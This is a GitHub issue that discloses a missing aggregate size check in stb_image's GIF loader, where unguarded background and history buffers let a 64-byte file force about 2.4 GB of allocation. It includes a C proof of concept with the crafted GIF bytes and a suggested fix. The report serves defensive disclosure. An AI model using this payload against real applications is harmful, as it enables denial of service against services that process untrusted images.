Skip to content

stb_image GIF: missing aggregate bounds check on background+history buffers allows ~2.4GB allocation from 64-byte input #2001

Description

@sanasimran1403-jpg

stb_image GIF: missing aggregate bounds check allows ~2.4GB allocation from 64-byte file

File: stb_image.h
Function: stbi__gif_load_next()
Lines: 6790-6795
Related: #1992, #1996 (same root cause, different code path)

Description

In stbi__gif_load_next(), only the out buffer allocation is guarded by
stbi__mad3sizes_valid(). The background and history buffers are allocated
immediately after with no additional size validation:

if (!stbi__mad3sizes_valid(4, g->w, g->h, 0))   // guards 'out' only
    return stbi__errpuc("too large", "GIF image is too large");

pcount = g->w * g->h;
g->out        = stbi__malloc(4 * pcount);  // ✅ protected
g->background = stbi__malloc(4 * pcount);  // ❌ unguarded
g->history    = stbi__malloc(pcount);      // ❌ unguarded

Total allocation = 4*pcount + 4*pcount + pcount = 9*pcount.

With g->w=16384, g->h=16448 (both below STBI_MAX_DIMENSIONS=16777216):

  • out = 1,077,936,128 bytes (~1.0 GB)
  • background = 1,077,936,128 bytes (~1.0 GB) — unguarded
  • history = 269,484,032 bytes (~0.25 GB) — unguarded
  • Total: ~2.4 GB from a 64-byte input

Reproduction

Build with libFuzzer + ASan, or use directly:

#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdio.h>
int main() {
    // 64-byte crafted GIF (16384x16448 dimensions)
    unsigned char poc[] = {
        0x47,0x49,0x46,0x38,0x39,0x61,  // GIF89a
        0x00,0x40,                        // width = 16384
        0x40,0x40,                        // height = 16448
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00,0x00,0x00,
        0x00,0x4a,0x46,0x01,0x00,0x00
    };
    int w, h, c;
    stbi_uc *img = stbi_load_from_memory(poc, sizeof(poc), &w, &h, &c, 0);
    if (img) stbi_image_free(img);
    return 0;
}

Result: libFuzzer reports OOM after allocating 2.4 GB.

Impact

Denial of Service — any application using stb_image to process untrusted GIF
files can be forced to exhaust system memory with a 64-byte payload.

Suggested Fix

Guard all three allocations against the aggregate size:

// Check that all three allocations together won't exceed safe limits
if (!stbi__mad3sizes_valid(4, g->w, g->h, 0) ||
    (size_t)g->w * g->h > (1u << 26))   // 64M pixels max
    return stbi__errpuc("too large", "GIF image is too large");

Or add individual checks matching the out pattern.

Discovery

Found via libFuzzer + ASan campaign on stb_image.h.
Fuzzer input: 64-byte GIF file (attached as oom artifact).
Environment: Ubuntu 24.04 (WSL2), x86_64, clang 21.1.8.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions